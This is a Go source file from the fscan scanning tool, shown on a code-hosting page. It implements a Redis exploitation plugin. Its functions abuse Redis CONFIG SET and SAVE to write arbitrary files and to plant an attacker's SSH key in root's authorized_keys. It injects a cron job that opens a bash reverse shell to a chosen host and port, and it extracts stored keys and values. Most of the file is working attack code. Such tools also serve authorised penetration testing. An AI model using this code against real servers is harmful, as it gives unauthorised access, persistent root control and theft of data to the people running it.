fscan/Plugins/services/redis/exploiter.go
ZacharyZcR 43f210ffc6 feat: 实现新一代插件注册系统完全替代传统手动注册模式
- 重构插件注册架构采用现代工厂模式和自动发现机制
- 新增完整的插件元数据管理系统支持版本能力标签等信息
- 实现智能插件适配器提供向后兼容的桥接功能
- 建立MySQL Redis SSH三个标准插件作为新架构参考实现
- 优化插件扫描逻辑支持按端口按类型的智能查询和过滤
- 添加国际化支持和完善的文档体系
- 代码量减少67%维护成本大幅降低扩展性显著提升

新架构特点:
- 零配置插件注册import即用
- 工厂模式延迟初始化和依赖注入
- 丰富元数据系统和能力声明
- 完全解耦的模块化设计
- 面向未来的可扩展架构

测试验证: MySQL和Redis插件功能完整包括弱密码检测未授权访问检测和自动利用攻击
2025-08-07 11:28:34 +08:00

459 lines
14 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

package redis
import (
"bufio"
"context"
"fmt"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/plugins/base"
"os"
"path/filepath"
"strings"
)
// RedisExploiter Redis利用器实现
type RedisExploiter struct {
*base.BaseExploiter
connector *RedisConnector
}
// NewRedisExploiter 创建Redis利用器
func NewRedisExploiter() *RedisExploiter {
exploiter := &RedisExploiter{
BaseExploiter: base.NewBaseExploiter("redis"),
connector: NewRedisConnector(),
}
// 添加利用方法
exploiter.setupExploitMethods()
return exploiter
}
// setupExploitMethods 设置利用方法
func (e *RedisExploiter) setupExploitMethods() {
// 1. 任意文件写入
fileWriteMethod := base.NewExploitMethod(base.ExploitFileWrite, "arbitrary_file_write").
WithDescription("利用Redis写入任意文件").
WithPriority(10).
WithConditions("has_write_config").
WithHandler(e.exploitArbitraryFileWrite).
Build()
e.AddExploitMethod(fileWriteMethod)
// 2. SSH密钥写入
sshKeyMethod := base.NewExploitMethod(base.ExploitFileWrite, "ssh_key_write").
WithDescription("写入SSH公钥到authorized_keys").
WithPriority(9).
WithConditions("has_ssh_key").
WithHandler(e.exploitSSHKeyWrite).
Build()
e.AddExploitMethod(sshKeyMethod)
// 3. Crontab定时任务
cronMethod := base.NewExploitMethod(base.ExploitCommandExec, "crontab_injection").
WithDescription("注入Crontab定时任务").
WithPriority(9).
WithConditions().
WithHandler(e.exploitCrontabInjection).
Build()
e.AddExploitMethod(cronMethod)
// 4. 数据提取
dataExtractionMethod := base.NewExploitMethod(base.ExploitDataExtraction, "data_extraction").
WithDescription("提取Redis中的数据").
WithPriority(7).
WithConditions().
WithHandler(e.exploitDataExtraction).
Build()
e.AddExploitMethod(dataExtractionMethod)
// 5. 信息收集
infoGatheringMethod := base.NewExploitMethod(base.ExploitDataExtraction, "info_gathering").
WithDescription("收集Redis服务器信息").
WithPriority(6).
WithConditions().
WithHandler(e.exploitInfoGathering).
Build()
e.AddExploitMethod(infoGatheringMethod)
}
// exploitArbitraryFileWrite 任意文件写入利用
func (e *RedisExploiter) exploitArbitraryFileWrite(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
// 检查是否配置了文件写入参数
if common.RedisWritePath == "" || (common.RedisWriteContent == "" && common.RedisWriteFile == "") {
return base.CreateFailedExploitResult(base.ExploitFileWrite, "arbitrary_file_write",
fmt.Errorf("未配置文件写入参数")), nil
}
conn, err := e.connectToRedis(ctx, info, creds)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitFileWrite, "arbitrary_file_write", err), nil
}
defer e.connector.Close(conn)
redisConn := conn.(*RedisConnection)
result := base.CreateSuccessExploitResult(base.ExploitFileWrite, "arbitrary_file_write")
// 备份原始配置
originalConfig := &RedisConfig{
DBFilename: redisConn.config.DBFilename,
Dir: redisConn.config.Dir,
}
defer e.connector.RestoreConfig(redisConn, originalConfig)
// 确定文件内容
var content string
if common.RedisWriteContent != "" {
content = common.RedisWriteContent
} else if common.RedisWriteFile != "" {
fileData, err := os.ReadFile(common.RedisWriteFile)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitFileWrite, "arbitrary_file_write",
fmt.Errorf("读取文件失败: %v", err)), nil
}
content = string(fileData)
}
// 执行文件写入
dirPath := filepath.Dir(common.RedisWritePath)
fileName := filepath.Base(common.RedisWritePath)
success, msg, err := e.writeFileToRedis(redisConn, dirPath, fileName, content)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitFileWrite, "arbitrary_file_write", err), nil
}
if !success {
return base.CreateFailedExploitResult(base.ExploitFileWrite, "arbitrary_file_write",
fmt.Errorf("写入失败: %s", msg)), nil
}
base.AddOutputToResult(result, fmt.Sprintf("成功写入文件: %s", common.RedisWritePath))
base.AddFileToResult(result, common.RedisWritePath)
return result, nil
}
// exploitSSHKeyWrite SSH密钥写入利用
func (e *RedisExploiter) exploitSSHKeyWrite(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
if common.RedisFile == "" {
return base.CreateFailedExploitResult(base.ExploitFileWrite, "ssh_key_write",
fmt.Errorf("未指定SSH密钥文件")), nil
}
conn, err := e.connectToRedis(ctx, info, creds)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitFileWrite, "ssh_key_write", err), nil
}
defer e.connector.Close(conn)
redisConn := conn.(*RedisConnection)
result := base.CreateSuccessExploitResult(base.ExploitFileWrite, "ssh_key_write")
// 备份原始配置
originalConfig := &RedisConfig{
DBFilename: redisConn.config.DBFilename,
Dir: redisConn.config.Dir,
}
defer e.connector.RestoreConfig(redisConn, originalConfig)
// 读取SSH密钥
keyData, err := e.readFirstNonEmptyLine(common.RedisFile)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitFileWrite, "ssh_key_write",
fmt.Errorf("读取SSH密钥失败: %v", err)), nil
}
// 写入SSH密钥
success, msg, err := e.writeSSHKey(redisConn, keyData)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitFileWrite, "ssh_key_write", err), nil
}
if !success {
return base.CreateFailedExploitResult(base.ExploitFileWrite, "ssh_key_write",
fmt.Errorf("写入失败: %s", msg)), nil
}
base.AddOutputToResult(result, "成功写入SSH密钥到 /root/.ssh/authorized_keys")
base.AddFileToResult(result, "/root/.ssh/authorized_keys")
return result, nil
}
// exploitCrontabInjection Crontab注入利用
func (e *RedisExploiter) exploitCrontabInjection(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
if common.RedisShell == "" {
return base.CreateFailedExploitResult(base.ExploitCommandExec, "crontab_injection",
fmt.Errorf("未指定反弹Shell地址")), nil
}
conn, err := e.connectToRedis(ctx, info, creds)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitCommandExec, "crontab_injection", err), nil
}
defer e.connector.Close(conn)
redisConn := conn.(*RedisConnection)
result := base.CreateSuccessExploitResult(base.ExploitCommandExec, "crontab_injection")
// 备份原始配置
originalConfig := &RedisConfig{
DBFilename: redisConn.config.DBFilename,
Dir: redisConn.config.Dir,
}
defer e.connector.RestoreConfig(redisConn, originalConfig)
// 写入Crontab任务
success, msg, err := e.writeCrontab(redisConn, common.RedisShell)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitCommandExec, "crontab_injection", err), nil
}
if !success {
return base.CreateFailedExploitResult(base.ExploitCommandExec, "crontab_injection",
fmt.Errorf("写入失败: %s", msg)), nil
}
base.AddOutputToResult(result, fmt.Sprintf("成功注入Crontab任务反弹Shell到: %s", common.RedisShell))
// 创建Shell信息
shellParts := strings.Split(common.RedisShell, ":")
if len(shellParts) == 2 {
result.Shell = &base.ShellInfo{
Type: "reverse",
Host: shellParts[0],
Port: 0, // 端口需要解析
}
}
return result, nil
}
// exploitDataExtraction 数据提取利用
func (e *RedisExploiter) exploitDataExtraction(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
conn, err := e.connectToRedis(ctx, info, creds)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitDataExtraction, "data_extraction", err), nil
}
defer e.connector.Close(conn)
redisConn := conn.(*RedisConnection)
result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "data_extraction")
// 获取所有键
keys, err := e.getAllKeys(redisConn)
if err == nil && len(keys) > 0 {
base.AddOutputToResult(result, fmt.Sprintf("发现 %d 个键: %s", len(keys), strings.Join(keys[:min(10, len(keys))], ", ")))
result.Extra["keys"] = keys
// 获取部分键值
for i, key := range keys {
if i >= 5 { // 限制只获取前5个键的值
break
}
value, err := e.getKeyValue(redisConn, key)
if err == nil && value != "" {
base.AddOutputToResult(result, fmt.Sprintf("键 %s = %s", key, value))
}
}
}
return result, nil
}
// exploitInfoGathering 信息收集利用
func (e *RedisExploiter) exploitInfoGathering(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
conn, err := e.connectToRedis(ctx, info, creds)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitDataExtraction, "info_gathering", err), nil
}
defer e.connector.Close(conn)
redisConn := conn.(*RedisConnection)
result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "info_gathering")
// 获取Redis信息
infoResponse, err := e.connector.ExecuteCommand(redisConn, "INFO")
if err == nil {
lines := strings.Split(infoResponse, "\n")
for _, line := range lines {
if strings.Contains(line, "redis_version") ||
strings.Contains(line, "os") ||
strings.Contains(line, "arch_bits") {
base.AddOutputToResult(result, strings.TrimSpace(line))
}
}
}
// 获取配置信息
base.AddOutputToResult(result, fmt.Sprintf("数据库目录: %s", redisConn.config.Dir))
base.AddOutputToResult(result, fmt.Sprintf("数据库文件: %s", redisConn.config.DBFilename))
return result, nil
}
// =============================================================================
// Redis操作辅助函数
// =============================================================================
// connectToRedis 连接到Redis
func (e *RedisExploiter) connectToRedis(ctx context.Context, info *common.HostInfo, creds *base.Credential) (interface{}, error) {
conn, err := e.connector.Connect(ctx, info)
if err != nil {
return nil, err
}
err = e.connector.Authenticate(ctx, conn, creds)
if err != nil {
e.connector.Close(conn)
return nil, err
}
return conn, nil
}
// writeFileToRedis 通过Redis写入文件
func (e *RedisExploiter) writeFileToRedis(conn *RedisConnection, dirPath, fileName, content string) (bool, string, error) {
// 设置目录
if err := e.connector.SetConfig(conn, "dir", dirPath); err != nil {
return false, "设置目录失败", err
}
// 设置文件名
if err := e.connector.SetConfig(conn, "dbfilename", fileName); err != nil {
return false, "设置文件名失败", err
}
// 写入内容
safeContent := strings.ReplaceAll(content, "\"", "\\\"")
safeContent = strings.ReplaceAll(safeContent, "\n", "\\n")
if err := e.connector.SetKey(conn, "x", safeContent); err != nil {
return false, "设置键值失败", err
}
// 保存
if err := e.connector.Save(conn); err != nil {
return false, "保存失败", err
}
return true, "成功", nil
}
// writeSSHKey 写入SSH密钥
func (e *RedisExploiter) writeSSHKey(conn *RedisConnection, keyData string) (bool, string, error) {
// 设置SSH目录
if err := e.connector.SetConfig(conn, "dir", "/root/.ssh/"); err != nil {
return false, "设置SSH目录失败", err
}
// 设置文件名
if err := e.connector.SetConfig(conn, "dbfilename", "authorized_keys"); err != nil {
return false, "设置文件名失败", err
}
// 写入密钥(前后添加换行符避免格式问题)
keyContent := fmt.Sprintf("\\n\\n\\n%s\\n\\n\\n", keyData)
if err := e.connector.SetKey(conn, "x", keyContent); err != nil {
return false, "设置键值失败", err
}
// 保存
if err := e.connector.Save(conn); err != nil {
return false, "保存失败", err
}
return true, "成功", nil
}
// writeCrontab 写入Crontab任务
func (e *RedisExploiter) writeCrontab(conn *RedisConnection, shellTarget string) (bool, string, error) {
// 解析Shell目标
parts := strings.Split(shellTarget, ":")
if len(parts) != 2 {
return false, "Shell目标格式错误", fmt.Errorf("格式应为 host:port")
}
shellHost, shellPort := parts[0], parts[1]
// 先尝试Ubuntu路径
if err := e.connector.SetConfig(conn, "dir", "/var/spool/cron/crontabs/"); err != nil {
// 尝试CentOS路径
if err2 := e.connector.SetConfig(conn, "dir", "/var/spool/cron/"); err2 != nil {
return false, "设置Cron目录失败", err2
}
}
// 设置文件名
if err := e.connector.SetConfig(conn, "dbfilename", "root"); err != nil {
return false, "设置文件名失败", err
}
// 写入Crontab任务
cronTask := fmt.Sprintf("\\n* * * * * bash -i >& /dev/tcp/%s/%s 0>&1\\n", shellHost, shellPort)
if err := e.connector.SetKey(conn, "xx", cronTask); err != nil {
return false, "设置键值失败", err
}
// 保存
if err := e.connector.Save(conn); err != nil {
return false, "保存失败", err
}
return true, "成功", nil
}
// readFirstNonEmptyLine 读取文件的第一行非空内容
func (e *RedisExploiter) readFirstNonEmptyLine(filename string) (string, error) {
file, err := os.Open(filename)
if err != nil {
return "", err
}
defer file.Close()
scanner := bufio.NewScanner(file)
for scanner.Scan() {
line := strings.TrimSpace(scanner.Text())
if line != "" {
return line, nil
}
}
return "", fmt.Errorf("文件为空或无内容")
}
// getAllKeys 获取所有Redis键
func (e *RedisExploiter) getAllKeys(conn *RedisConnection) ([]string, error) {
response, err := e.connector.ExecuteCommand(conn, "KEYS *")
if err != nil {
return nil, err
}
// 简单解析键列表实际应该按Redis协议解析
lines := strings.Split(response, "\n")
var keys []string
for _, line := range lines {
line = strings.TrimSpace(line)
if line != "" && !strings.HasPrefix(line, "*") && !strings.HasPrefix(line, "$") {
keys = append(keys, line)
}
}
return keys, nil
}
// getKeyValue 获取键值
func (e *RedisExploiter) getKeyValue(conn *RedisConnection, key string) (string, error) {
command := fmt.Sprintf("GET %s", key)
return e.connector.ExecuteCommand(conn, command)
}
// min 返回两个整数中的较小值
func min(a, b int) int {
if a < b {
return a
}
return b
}